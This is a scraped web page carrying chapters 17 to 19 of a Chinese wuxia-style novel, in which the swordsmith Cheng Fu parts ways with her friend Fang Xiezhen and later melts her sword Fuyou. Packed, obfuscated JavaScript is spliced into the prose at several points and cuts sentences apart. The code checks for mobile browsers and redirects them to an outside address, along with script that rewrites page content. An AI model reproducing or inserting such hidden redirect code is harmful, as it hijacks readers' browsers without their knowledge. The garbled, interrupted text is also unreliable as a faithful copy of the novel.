d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185543|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马迹。 这是最蠢的寻人办法,漫无边际、不知线索地找,能否有结果全靠运气。 方撷真叹了口气,猫着腰钻入几根青竹背后,躲过一班夜巡的守卫。 这之后,她复又跳上院墙,轻若鸿毛地往墙群尽头疾驰飞纵—— 瞳孔摩挲一缩,前方墙根处有个熟悉的影子,蹲着身子,双手好像在摆弄什么东西,瞧起来鬼鬼祟祟,而仔细一看,不是别人,正是程芙。 方撷真忍不住惊喜,边喊边奔过去:“阿芙,我来找你了!” 墙根下的人脊背一颤,在看清来人是谁后拧紧眉,脸上没有惊与乐,唯有训斥之意:“你好大的胆子。这里是澄意山庄,不是你能擅闯的。” 数年前,澄意山庄从被人深夜闯入,藏书阁险些毁于大火,自那以后,山庄守卫的戒备巡视便严出一倍。 方撷真不料程芙会发火,赶忙双手合十作揖:“对不起对不起。我想找你,又等不到你离开山庄……你在做什么?猫?” 程芙怀里抱着一只黑猫,圆滚滚的黄眼睛,身形消瘦。 原来她夜半不睡,是在外头逗猫。 “嗯,猫。”程芙抿唇,“我不爱出门。” “我不爱猫。”方撷真退远一二步,鼻尖轻轻皱起来,她犹豫二三瞬,终究忍着对猫的讨厌,往程芙身边再进一步,“你放了它吧,我们找个地方说话。” 不必方撷真来说,程芙便看出对方不喜欢猫了。 可这猫流落在外属实不容易,方才一见着人就黏上来,胆子大得很,而且……还挺有意思的,喵喵喵一个劲儿叫。 程芙对这猫发了善心,却不愿意担养猫的责任,对一条生灵负责要花太多心力,不过她倒了问问同门们可有收养小猫的念头。 总而言之,她先将猫放下了:“不要跑远。” 方撷真:“……” 她在嘱咐她? 半晌,她才后知后觉,程芙是叫这只猫不要跑远。 方撷真忍俊不禁:“猫又听不懂人话。” “我知道啊。”程芙一本正经,“说说而已。” 无言以对的方撷真仍然在笑,三更半夜逗猫已很失常,竟还嘱咐起猫来了:“好了好了,我们走吧。” “去哪儿?” “都行,只要你们山庄的守卫不把我抓起来就行。” 程芙没打算带方撷真留在山庄里,更没打算走正门,便寻了个犄角旮旯,引方撷真翻墙而过,再行数百步,到了山庄附近的一条无名河河畔。 今夜月色明媚,大河是盘桓在云山上的银白绸带,安静宽阔。 程芙直接大大方方地打量方撷真:“看起来,你比昨天好很多。是想通了吗?” 若想通了,就该回水月谷,承担随后的所有的惩罚、代价,程芙的观念正是如此,人最好不要冲动,如果冲动了,最好不要逃,如果逃了,最好还能回去担责。 “想通什么?”方撷真却眨巴眨巴眼,像个没事人。 程芙眉一拧,为方撷真的态度不满:“你还笑得出来?” 有一声冷笑顺着河面流远,是方撷真未控制好鼻息,她眺望的眼神也随河水远去,沉声道: “昨晚我梦见武红英,梦见我没有被我娘带走,始终在武红英膝下长大。” 程芙眯着眼揣摩她的神色,最终,很有凭据地叹了一声:“很幸福美好的梦。” 17.双簪(2) 月光落在河面,粼粼的光又投向翠微剑剑柄上镶着的翠玉。 翠玉是程芙精心挑选,她从不允许自己手中诞生出次品,且她的铸造技艺始终都在进步,故而翠微甚至比她自己的佩剑还要优秀。 方撷真的手腕从剑身拂过,又硬又凉,这令她有心忽视了程芙的话,而是谢道:“你给我铸的剑真好用,我给它取了名字,唤作‘翠微’。” 方才还在说梦见从小长在武红英膝下,现今又换了话题,原来那个梦仅不过是美好的秘密,露个角给程芙看一眼已算落落大方,岂能希冀窥到更多。 说到底,方撷真既希望和人分享她微弱隐秘的幸福,又有所保留。 程芙却睨出方撷真待武红英的情感来,因为有依恋,才会日有所思夜有所梦,才会露出一瞬真心的笑,又因为有狠,才有那样落寞的语气。 她像昨日在小舟里那样,扬起手,抚上方撷真脊背:“名字取得很好。翠微,是青山。” 方撷真一记激灵,本能地撤开身子,离了程芙掌心,意识到是谁在碰她后,她笑了笑:“吓到我了,我以为身上落了只大虫子。” 遇见虫子可不该是这表情,程芙一语道破:“你好像很紧张,脊背上肌肉绷得紧紧的。没有休息好?” 她这是明知故问,方撷真也不否认,许久未能睡好了,大哭一场也没有用,只能寄希望于时间。 方撷真尝试着呼出一口气,撇开话题:“我给你写信,你居然不回。为什么?不把我当朋友了?” 这问题问得好不聪明,答案不明显吗?都是江湖里的人,不至于不通人情世故啊,程芙还是那么心软,答不出实话。 方撷真预感隐隐,不安道:“你有话直说……” “我不习惯别人黏我太近。”几经酝酿,程芙如此答道。 “你小师妹也黏你。” “她是小孩子。” 方撷真非要多问几句:“你在你们山庄没有别的朋友吗?她们黏不黏你?” 程芙脑海里的确有几个人影飘过,可她违心答道:“不黏。” 她不想纠结类似的问题了,而且她很想晓得方撷真多次询问类似的问题,反复确认两人的朋友关系,到底有何目的。 程芙旁敲侧击道:“云州离骆都不远。你可以回骆都,找你旧日的朋友们。分别多年再见,你们也会黏上一黏。” “我不回。”方撷真眸中竟有几分果断的天真,“我没有旁的朋友。骆都城里的那些,都不联系了。” 她旧日的朋友们,都是纯粹善良的普通女郎,家里做点儿农活,做点儿小生意,或是到别人家做工,勤勤恳恳地过日子,所以她这样已经沾过人命的人,不适合再和女郎们做朋友了。 因此她只剩程芙这唯一的朋友。 程芙终于、终于懂得方撷真的执着从何而来,她再度意识到自己在对方心目中的地位太高,这令她不安,令她又一次、又一次地想逃。 “方撷真,”程芙从来都是唤别人的全名,“莫要将我看得太重。” 说这话可能是有些不要脸了,可是谁叫程芙能笃定方撷真将她看得重呢,是以她并不脸红:“天下没有不散的筵席。” 方撷真顿时严峻了面色,以为程芙要弃她而去:“你要走?又不和我玩了?” “不要误会。”程芙安抚她,“我未必能给你很多回报……白白付出的话,谁都不好受吧。” 她说得并不具体,没有挑明她不需要方撷真这种性格的朋友。 活泼热情,都是很好很好的秉性,只是程芙应付起来太累,平日有裴雁晚一个热烈的友人已经足够。 再多的,只会叫她喘不过气。 谁知方撷真心里竟热起来,她听到的是什么?是程芙的肺腑之言和忠告啊,是极温柔体贴的话,是为了她好。 那么,程芙说什么都不要紧,方撷真就只认准程芙的这份好,立刻给予回应:“阿芙,你怎会没有付出!你给了我一柄这么好的剑,你宽慰我安抚我,你是有付出的!” 她弄错了重点。 程芙头好痛,她好似白叮嘱了一场,前功尽弃,且又听方撷真嚷道: “阿芙,你有心事,可以对我说。朋友之间,就是要相互倾诉聆听的啊!” 河水潺潺东流去,河中心的月色最好,明湛湛的一片,程芙最大的心事,一是怕诸事缠身的方撷真再受打击,二是忧自己再为这段友情磋磨心力。 “明晚我们到城里玩好吗?我看弄溪上夜夜都有人放河灯,我也想放。”方撷真高兴着,她天生心思不够细腻,不晓得程芙的心思。 “放河灯也要叫上我?”程芙暂时败下阵。 方撷真伸出两根手指:“一只灯三文,两只五文。买两只实惠。” ……水月谷少谷主还不至于如此拮据吧?莫非是从前过得太清贫艰难,养成了精打细算的习惯?程芙暗自腹诽,终究没有出声。 面前的女郎笑得灿烂,她真心诚意地邀程芙一道游玩,程芙却在思虑与她断交。 好残忍啊,好无情啊,程芙便这么评价着自己。 她抿了抿唇,缓声道: “方撷真,我们也许,做不了一辈子的朋友。” 方撷真倏然怔愣住,手指断折似的垂落。 水珠飞溅,有几颗落在方撷真衣角,留下稍纵即逝的深色斑点。 旧的去了,新的水珠又沾上来,然而朋友并不能像这水珠,说走就走,说拂干净就拂干净。 程芙的意思很简单——和她保持距离,做好随时都可能断交的准备。 她视程芙为最好的朋友,但程芙最好的朋友不是她,即使她会担心她淋雨,会买糕点给她,也代表不了什么。 方撷真的猜测被彻底坐实。 她不是程芙最好的、最重要的朋友。 过去她仅是猜一猜,今晚真被证实了这想法,竟闹得她双眸微瞠,干巴巴地像要落泪,却又哭不出来。 程芙为方撷真的反应后悔,却知开弓没有回头箭,也知打铁应趁热,今晚她姑且自私一回:“方撷真,你还不回水月谷吗?” 自雨中舟上一别,方撷真尚未向程芙告知来日的计划。 方撷真别开脸,竭力用武红英的教导逼迫自己不哭——她是少谷主,她是万人瞩目,她是来日要叱咤风云的人,她应该被人敬仰畏惧,应该只有喜怒,不应有眼泪,即使有眼泪,也只能流在背地里。 “我会回。” 方撷真做到了,没有哭。 “不论伏光门要待我如何,哪怕要我以命抵命,我都会回。” 这好似告别的话,令程芙心中五味杂陈,若方撷真一回去便要面临酷刑责罚,她倒说不出“你该承担责任”之类的言辞了。 “可我还是想和你一道放河灯。” 方撷真勉为其难地笑了笑:“明日黄昏,城门口见。” 由此一来,第二日黄昏,程芙便在弄溪河畔接过了方撷真递来的一盏河灯。 河灯的形制大差不差,清一色都是荷花,不过每个人捧来,都有每个人各自的体悟。 譬如程芙便觉得这灯沉甸甸的很有份量,因为方撷真将灯递给她时,笑得很难看。 游人们往往会把心愿写在纸笺上,再放进河灯内部,任其随灯顺水飘零,飘得越远,心愿越有希望成真。若有不识字的百姓,也可请人代写,有的人热心,免费便替人写了,有的却要收钱。 程芙与方撷真二人抱着河灯,走到桥头才停。 两人很默契,同时停下脚步,也默契地都没有提笔写心愿。 像是所有进庙祈愿的伙伴一样,方撷真先问了个问题:“阿芙,你想许什么愿?” “没有想好。”程芙当真没有想好。 方撷真却笑道:“我呢,现在就只想在云州好生玩几日,等玩够了,再回水月谷……也许再过三年五载,我也和程大侠一样威名远扬了。” 其实不然,有魏澄的人命官司在手上,她未必能再活三年五载,而且她也没有打定十成十的决心,仍有那么一成念头,在告诉她切莫回去送死。 谁不怕死? 何况她还这么年轻。 所以方撷真逃到云州来,一是因为害怕面对,二是因为她心目中最好的朋友在这里。 “那就祝福你。” 程芙知道在纸笺上写什么了,她未急着动笔,继续说道: “即便来日我们分道扬镳,我也祝福你光明磊落、百岁长命。” 方撷真舌根好苦,她真想抱着程芙哭,说她不想回去承担什么狗屁责任,因为她怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方撷真竟也望着她笑:“好啊好啊,这又没什么,这又不丢人!来,我们一起写!” 方撷真好像有写不完的心愿,程芙便安安静静等她写完,还特意让开身位,免得挡了她的光。 两盏河灯同时放入水面,伴着各自的涟漪徐徐远去,在视线触不到的地方遇见凫水的水鸟,才悄无声息地分道扬镳。 * 翌日又是雨天。 客栈里阴沉沉的,仿佛有乌云大咧咧挤进来,方撷真误杀魏澄后,难得睡得这么安稳惬意,她真不想醒,偏偏有敲门声响起来,逼得她睁眼。 是谁? 方撷真眯着眼撤下门锁,掀眸,瞬间苍白了面色:“……母亲。” 是武红英追来了云州。 武红英居高临下睨女儿一眼,才把屋中陈设细细打量,不禁蹙眉:“你出门时不是带了银票?怎就住这种地方。” 因是烟雨蒙蒙的天气,再华丽精美的陈设,都会逊色三分,方撷真却不以为然,心虚道:“又不简陋,窗明几净的。” 见女儿睡眼惺忪,武红英眸中掠过一丝异样:“你不请母亲进屋坐坐?” 方撷真恍然大悟,连忙请武红英进门,可惜没有热茶可以倒,她便不动作,低着头站在母亲身侧,尽力不看武红英的乌眼圈:“母亲知道我来了云州。” “嗯。”武红英哑声道,“你叫我好找。” 眼眶忽有些红,方撷真心尖的酸意止不住:“伏光门找上来了?” “否则呢?”武红英快要气笑了,“伏光门门主一行人,如今就住在谷中,只待我将你抓回。” 该来的终是来了,方撷真再度想到“死”。 血债血偿或许是最平正的生死观,方撷真却瑟瑟发抖着不接受,然而她又相信,有武红英在,自己不会落到那般悲惨境界。 她与血刃峰的事……也是武红英不遗余力地为她摆平。 “我已替你打算好。”武红英道,“无论如何魏澄都因你而死,你不能一点代价都没有。亲口道歉便不必特意提,罚跪与杖责也要有,再之后,便禁闭一年吧。” 方撷真耳根动了动:“……禁闭?” “趁着一年好好练武,明年有五年一届的论剑大会,我不求你名列前茅,只求你叫人看看你的风采!” 武红英起身,乌眸稍阖:“你曾和‘谋剑’程芙有缘,难道就不羡慕她吗?” 18.拒霜(1) “羡慕?” 方撷真满目茫然,脱口道:“我羡慕阿芙姐姐什么?” 武红英的耳根蓦然发痛,“阿芙姐姐”是哪里来的称呼,亲密得令她恶心,这孩子唤她“母亲”时恐怕都没有多少真心吧? 她硬生生吞下怒火,沉声质问:“当然是羡慕她年纪轻轻便剑术绝伦、名扬天下!” 方撷真本能地瑟缩了脖颈,她与武红英容貌相似,太知道这么一张脸恼怒时,会有那几块肌肉抖动,又抖动多大的频率。 她忍住本能,平静地反驳:“母亲此言差矣!人各有命、人各有志,我习武不过数载,当然比不上程芙!母亲只看见她表面的风光,并不晓得她背地里的落寞!” 因为她是真切看见了程芙的落寞的人,雪原上清澈的眼、夜河边挺直的背,人前美名无数风光无限的蜉蝣剑剑主,其实像河里的莲花灯,并不晓得自己要往何处。 武红英怔了怔:“什么?” 长在方虹膝下,方撷真从小到大并不缺少赞美,她羡慕程芙又如何呢?程芙可亲口说过她天赋在自己之上啊。 “母亲不要觉得我不如别人,”方撷真说着,索性跪坐下来,头颅轻轻放在武红英膝头,这是她讨好母亲时惯用的手段,一个温顺懂事的女儿,谁都喜欢,“我会刻苦习武的。” 不仅是温顺懂事的女儿,还是勤学苦练的女儿,武红英便很好哄地打发了心头怒火,右手抚上方撷真面颊:“……随母亲回去吧。一个人在外头,也不怕遇见事。” 当然要回去。 方撷真等着伏光门来审判自己,然后她在武红英的庇护下通过那审判,再往前路去。 * 方撷真下榻的客栈离云州城门不远,程芙却不料自己来迟一步,掌柜告知她,那位姓方的姑娘已经走了。 “走了?什么时候走的?”这不合乎程芙对方撷真的了解,方撷真应当不会无声无息地与她作别,所以定是出了事。 “今日一早,和她娘一道走的,我看她俩长得像。这儿还有张字条,您是姓程吗?”客栈掌柜说着,从算盘下摸出一张字条,双手呈上。 程芙焦急的心被抚平了些,接过字条详阅: 「阿芙,我已随母亲启程归谷。未当面与你作别真是遗憾!后会有期,保重。」 ……太少了。 字条里表露的信息,太少了。 归谷之后,有何打算?有什么惩罚等着?之后可还方便再联系?程芙通通无从晓得。 山水迢迢,路途遥遥,一旦分别就很难再见,程芙来不及叹息,便发觉了自己的异常——她千真万确在为方撷真着急,比之阻挠小琴魔“信口胡说”时更为匆匆。 细微的变化,被程芙敏锐地察觉,她妥帖地将纸条收紧袖口,默默接受这变化。 初夏开茉莉,盛夏便要开荷花了。 有时程芙从师妹裴雁晚的院子外经过,看到那株极繁茂的木兰树,便忆起春天时院中扑鼻浓郁的香味;而她嗅见山庄湖泊周围的荷花气息时,便想到一起和方撷真放河灯的那个晚上。 她已三个月不曾有方撷真的信件了。 这本是很平常的事情,方撷真的信原就来得不频繁,只不过程芙总是担忧,怕友人为魏澄的命受重罚,挨不住、抗不过,即使这重罚是该受的,她也希望莫要损了方撷真的性命。 “有没有水月谷的动向?” 程芙问了这话,换来藏书阁主管的一惊。 “问这做甚?”藏书阁主管与程芙关系不错,知晓彼此的性情,程芙从不是个爱问世事的人啊。 程芙道:“有个朋友在水月谷。” 主管明白了:“是武少谷主吧?水月谷群英宴上你为她辩解,此事我晓得。” 得到程芙的默认后,主管又道:“那想必你要问的不是水月谷,而是武少谷主本人。伏光门的苏门主上门讨说法……听闻武谷主将少谷主责打了六十杖,关起禁闭了。” 六十杖?程芙凝眸,呼吸不觉急促几分:“没有旁的消息了?” “我知道的都已经说了。”主管爱莫能助,“你怎不写信给她?” 程芙一言不发,她还真的……没有给方撷真写过信,除了寄翠微剑的那一次。 从来都是方撷真写信给她。 这是很不平正的吧?既是朋友,凭什么只有我主动写信给你呢? 于是程芙便惭愧地给方撷真写信,署她的大名。 二十余日后,程芙终于收到有关方撷真的消息,说起来也很有趣,她不闻不问的时候经常操心挂念,而只需将信主动地简简单单一寄,心里的石头便轻松落地。 她笑自己是否不该那么被动,成日里等着人找上她,这似乎很行不通啊。 信里写道:「阿芙,我受刑后便被关了禁闭,武红英着人严加看管我,不许我过问外头的事,是以我不方便写信给你。但你放心,我写此信,是被武红英允许的,真多谢你的面子……我的伤不重,已然痊愈,你挂念我,我很是感激。之后我会闭关习武,亦不能常与你联络,你不必再回信。勿念,保重。」 程芙将信细细读了两三遍,确认是方撷真的字迹,也确认写信的人笔锋锐利、中气十足,便安了心。 她也笑了笑,“谢她的面子”这话好生古怪,却也不能算错,程芙的去信就是要让武红英看到的,她赌的是自己的名望不至于叫武红英私藏或是毁了她的信,不料竟真的赌对了。 总而言之,无事便好。 * 夏去秋来,冬日裴雁晚伤愈出关,殷国北方也在一场场的大雪里和北晋打起仗。义士北上的队伍里,程芙倒是被白霓裳揪着耳朵凑了个热闹,竟没想到遇见前来襄助战事的水月谷徒子。 程芙自要问方撷真的近况,那几位徒子只道:“少谷主仍在闭关,听说剑法很有长进。” “‘听说’?”程芙蹙眉。 “毕竟我们很久没有亲眼见到少谷主了,这都是听人说的。”徒子们又答。 程芙便不再问,只需晓得方撷真无恙且在长进就好。 开春前仗就打完了,随后,程芙就一如往昔地闷在山庄里,且非常固执地拒绝了白霓裳屡次要她出门游历的命令。 约莫又是五六月份,光熙四年的夏天似乎比往年热,剑庐也比往年闷。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197038|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汗水顺着颧骨往下淌,自脖颈锁骨前汩汩滚过,程芙近日总觉心中不安,好像要发生什么大事。 她没有旁的途径发泄,唯有一次次地敲打铁块钢块,听着叮铃东隆的声响,心里反而好受些。 结果中午便来了信,是白霓裳忧心忡忡地亲自将剑送来剑庐,却迟迟不肯说正事。 随年纪渐长,程芙察言观色的本事只有愈发可靠的份儿,她从里到外都在出汗,外流热汗,内流冷汗,竟如置身冰火两重天,快要喘不过气。 “师娘?”程芙红扑扑的脸覆上霜色,“怎么了?” 她先想到的是山庄里出了大事,继而便是远在海云关的两位亲人,无论哪一样,都催得程芙急声道:“师娘?” “阿芙,你要节哀啊。”白霓裳颤巍巍取出一封信,在将其递给徒儿时,握紧了徒儿温热的手,“你阿公过世了。这是你阿婆的信。” 不必拆信,单凭白霓裳的这句话,就能使程芙头脑发白发懵。 程芙没有哭的冲动,她心里是空落落一片,落了雪似的,却不冷,仅是空空。 眉心微动,程芙坐下来,把阿婆的来信反复读上七八遍,确认阿公确实已经阖然长逝后,竟依然没有眼泪流下来。 “阿芙……”白霓裳心急如焚,捧着徒儿的脸关切道,“你千万不要憋坏了,你有话只管与我说啊。” 白霓裳是程芙为数不多的倾诉对象,从小到大,程芙有什么话,但凡是能说的,总会和师娘提一二句。 可是程芙什么都不想说,她在想,她当初为何学剑? 因为捡到她的门派主修剑法,所以她便学剑。 为何十几年来都在坚持习武? 因为别人命她坚持,她便真的坚持了十几年。 可有赢过谁吗? 赢过的,赢了不少人,换来上一届论剑魁首的佳绩,也换来美名。 赢了之后,高兴吗?激动吗? ……嗯,程芙记得,她赢下魁首后,甚是兴奋地抱住了多年来兼任她对手与挚友的裴雁晚。 所以激动的原因是……? 不是因为“赢”和“胜”,而是因为裴雁晚落在了她后头。 她不是为她自己而高兴。 这一刻程芙前所未有地松快,任何烦恼都没有了似的,她仍不知道自己余生想做什么,却知道自己不想做什么了。 “我要回海云关了。”程芙轻声道。 白霓裳拍拍她肩膀:“好,你是该尽快回去。我帮你收拾……” “应当不回来了。” “阿芙?” 白霓裳恍若在听天方夜谭,不回来了?什么叫做不回来了?她的徒女是一个脆弱的人吗?显然不是! 程芙输了比剑会反复揣摩原因、总结教训,摔了跤会撇着嘴爬起来,和人打完架哭都不哭,还要仰着头走路——她白霓裳的徒儿绝不会因为一场打击就一蹶不振! 剑庐里的热浪渐渐萎靡,有冷风拂面而来,吹动程芙的发丝。 “我从来都不喜欢练剑。是因为到了这里,被师娘收为徒儿,才刻苦练剑的。请师娘让我自己选择吧。” 19.拒霜(2) 剑庐里的热浪还在滚。 那热气好似烫到了白霓裳面庞上来,灼得她掉了一层发白面皮,露出底下恼怒错愕的红。 她颇有耐心地审视自己最得意的徒子,一盏茶看不透,就再审一柱香,一柱香不够,便再来一盏茶。 末了,白霓裳几乎瞪得眼眶发酸,可师徒二人谁的姿势都没有变,皆平静地沉默着,四目久久对视。 “你的选择就是——放弃?”白霓裳难以置信地问。 “并非‘放弃’,”程芙纠正道,“而是‘重新选择’。” 十几年的心血啊,白霓裳为程芙操了多少心,难道都要付诸东流了?为自己叹惋过后,白霓裳又问:“你是糊涂的,还是清醒的?” “清醒的。”程芙坚定地颤了颤眼眸,一字字道,“我从来不喜欢练剑,也不渴望胜过谁。我练剑,是因为我长在澄意山庄;我和师妹比了十几年,是因为无缘拜入周庄主门下,不服气,有执念。” 此言一出,白霓裳再没有疑问了。 再多的纠缠都只是徒劳,程芙剑心已无,再难重铸,或者说她从来都未有过剑心,只不过在今日,她终于看清了她有的是什么心。 ——很空旷,却很无暇,漂流到何处都无妨,因为总会将水涉过,她可以用这可心纳下许多的可能。 若说不遗憾,当然是假话,白霓裳握住徒女的手腕,微微用力:“奔完丧,你要回来。不能说‘不回’。” 程芙面露歉意,感受着白霓裳的力道:“方才已经说过‘不回’。” 她的蜉蝣剑还放在空桌上,陪她一同经受热气的炙烤,摸一摸,烫手得很,拔出一看,光亮锐利。 此刻阳光斜着入了剑庐,照得蜉蝣剑刺眼炫目,不可直视。 “你不要师娘了吗?”白霓裳是个不大内敛的人,言语间已有嗫嚅之意,“你是我带大的。” 十几年来,程芙早像她的女儿,所以她理解女儿的“重新选择”,却不接受女儿一去不回。 “也许……还会回来吧。” 程芙心里亦不是滋味,只是她与白霓裳不同,她的眼泪是往腹中流的。 程芙与阿公感情不深,因为走丢太早,幼时的记忆零零散散,认回亲人后在家的时间也太少,来不及培养感情。 她确实为阿公的死难过,但眼泪是为自己和即将分别的亲友而流。 这一日,程芙始终在剑庐里坐,连午饭也都没有吃。 她还有几柄兵器没有铸完,必得收尾了才能启程,总之她的锤子下一不能有次品,二不能有半成品,三不能有答应了却不铸的。 已是黄昏,程芙觉得时候差不多了,便往锻造炉里添了些炭,将火烧得更旺。能吞天噬地似的火苗腾空而起,却被制约于锻造炉腹中,不能肆意张狂。 程芙拾起蜉蝣剑,暗叹道,真是一柄好剑啊。 虽非她此生铸过最好的一柄剑,却凝聚着两个月茶饭不思的心血。 现在,蜉蝣已经没有用了。 它活过,在主人掌中开过剑花、比过月华,如今自该结束短短的一生,投入它出生的地方去。 程芙定了神,陡然松开手。 “你疯了——!” 忽闻一声怒骂自身后响起,程芙匆匆回头,便瞧见裴雁晚瞠目结舌地奔过来,竟天真地想要救回蜉蝣剑,她连忙抱着师妹的腰往后拦,道:“危险。” “那是蜉蝣剑,是你的心血!”裴雁晚还欲挣脱,却终究输给程芙的力量与烧手的炉火,只凝着凤眸怒视程芙,“你疯了吗?” 程芙摇头:“我用不上剑了。听闻许多人弃剑封剑,都是将剑扔进锻造炉中熔化。我也试试。” “太可惜了。” 裴雁晚冷静了些,她出关后一直忙于各种事务,近日又因故离开云州,快黄昏时才归,怎知马尚未栓进马厩,便得知了程芙的消息。 她便眼睁睁望着烈火彻底吞没蜉蝣,如同吃掉一只微不足道的小虫,不容反抗,不禁表露出几分难得的哀戚,真诚惋惜道: “一柄宝剑就这么熔了,太可惜了……你不用剑,也太可惜。” “可惜什么?”程芙故意只提熔掉的剑,不提不再持剑的自己,“不若你还我一柄蜉蝣?” 裴雁晚还有些懵:“已经熔了。” 程芙轻笑道:“那你重新打一柄送我啊。” “好。”谁知裴雁晚答得十分干脆,没有任何犹疑。 这份果决换来程芙的一怔,甚至还有一丝慌乱:“我随口说说,不必当真。明日我便回海云关,你在云州,多保重啊。好好练剑。” “九月论剑,你不在。”五年一届的论剑大会,今年轮到澄意山庄来办,裴雁晚遂寻了理由,欲留住挚友。 “有你一人的风姿足矣。” “我是掌门,不上擂台。” 程芙眸色稍黯,避开裴雁晚明亮的视线,她不愿意再退缩,她一定要为自己的新抉择坚定一次:“这是我的决定。你是我最好的朋友,拜托你,尊重我吧。” 裴雁晚身形略微晃了晃,旋即稳住,她怎会不知人各有志,却不懂程芙为何突然放弃了,遂深吸一口气,佯装平静:“理由呢?不是说要和我抢做天下第一吗?” “……那是从前,以后不和你抢了。” 程芙忆起与裴雁晚的许多次交锋,两人便在一次次剑影银光里精进各自的技艺。 很难说她剑风里的凌厉迅捷没有收到裴雁晚的影响,也很难说裴雁晚愈发严备的防守精准的预判不是从她这里学来。 “我只是不服气,十几年前就开始不服气……十几年来都不想输给你。” 程芙背光站着,脸藏在阴影中。 她觉得自己像是角落里的小虫,与蜉蝣一样朝生暮死万分渺小,挣扎着摆脱了小虫的身份,在擂台上站到最后,在江湖中声名渐响,而今她要摆脱小虫似的心性了。 “今日我祝你得偿所愿。”程芙笑了笑,“你也祝福我吧。” 她走了,没有管裴雁晚的去留,当晚却听人说庄主熄了锻造炉,伸着火钳在炉子里掏来拨去,像在寻找什么东西。 最终庄主大抵是没有找到那东□□自一人在剑庐外枯坐很久。 * 第二日天不亮,程芙便启程归家,只与白霓裳一人打了招呼。可她却倔强地不要白霓裳来送自己,孤身就出了城。 一二十日后,程芙抵达海云关。 时值夏日,万里晴空澄澈如洗,一层层的云海滚过来,再一道道地翻远,正如程芙一路行来的心情,明快、高远,一丝乌云也没有。 唯有祭拜阿公的时候,程芙才情不自禁落下泪来,景到了,情也到了,她在世上的亲人只剩阿婆一个,这令她实在很难管住心绪,泪便轻松地淌下来。 海云关昼夜温差不小,白天里热得人大汗淋漓,夜间便要再披身薄衣裳了。 程阿婆边给孙女铺床,边问道:“阿芙,你多住几天再走吧。我想过了……总之你多住几天。” 这是极难得的挽留,程芙几乎没有听到过,以往阿婆都是催 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200701|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走,不要她在海云关这地方多留。 程芙打心眼里高兴,却没有立时说出自己可能不会再回云州的决定:“好,我多住几天。” “嗯,我将灶上的骆驼奶再热热,你喝一碗便睡吧。”程阿婆也笑得合不拢嘴了,“剑学得好吗?” “挺好的。”程芙道。 “和你那姓方的朋友还好吗?和裴师妹、师娘还好吗?”孙女性情孤僻,不容易交到朋友,是以程阿婆很在意程芙的人际关系。 “都很好。”明亮的灯火照着眼,程芙便在灯下给阿婆补衣裳,“姓方的那位朋友,不方便给我写信,我也很久没有她的消息了。” “不方便?是生病了?” “她在闭关……” 程芙心一紧,来日方撷真出关,往云州写信,或是兴冲冲跑到云州找她,岂不是要扑空吗?她竟少算了这一筹,随立即问阿婆可有笔墨,她得攥信一封,寄往水月谷。 “家里哪有那东西?”程阿婆窘迫道,“我和你阿公又不识字。给你的信,不都是托客栈的人写的吗?” 是程芙糊涂了,她抿了抿唇,说道:“不要紧,明日再说吧。” 海云关地处边境,常有商队、外域人来来往往,澄意山庄便在附近设有一处接头点,唤作“第五客栈”。客栈掌柜是程芙的五师姐,多年未归云州,与师门的联结愈发单薄,却常为程芙照拂家中亲人,这也是程芙放心将亲人留在此地的原因。 翌日,程芙为方撷真写了信,未说明种种复杂缘由,只道自己身在海云关某处,且身心俱宽。 往后许多日,程芙在经历前所未有的松快后,又体会到了前所未有的自由。 这不是说她从前如何如何受拘束,而是如今她不必再摸着天亮就醒,不必勤勤恳恳地练剑,否则剑术就会落下。 白日便缩在家里睡觉,或是和阿婆一起做活,等气温低下来,骑上骆驼带阿婆往大漠深处走,走得越深,星子越亮。 可是她常觉得手里空空,好像少了什么东西,肯定不是剑,那么到底是什么? 这日夕阳西下,程芙坐在门槛上数着太阳何时才能彻底死去。晚风来时,她忽听到一阵极熟悉的动静,叮咚、叮咚、叮咚…… 泉水似的清脆,却有摄人心魄的力量,勾得程芙不由自主寻觅声音源头。 竟是邻家水桶上的箍子坏了,正用锤子敲出一个新的来。 锤子砸下,不需多时就能砸出新的东西,不仅是水桶箍子,也可能是刀剑弓弩,亦或是精致的小器具。 ——这都是程芙昔日最常做的事情之一。 原来她手里缺的是锤子。 当晚,程芙耳侧时不时响着叮咚叮咚声,仿佛已经走又回了剑庐,薅起袖子与裤管,一锤一锤敲出自己想要的东西。 她自然而然想到了蜉蝣,铸蜉蝣真是很不容易,单是画图稿便磨了半个月,又反复修改范式、轻重,共折腾了一二个月才算完。 正想着,门外蓦然有了动静。 程芙警惕地绷紧脊背,来人步法轻盈、内功深厚,不是凡俗之辈。 未出一息,未上锁的家门由外自内被推开,门外赫然是一张程芙极熟悉的脸。 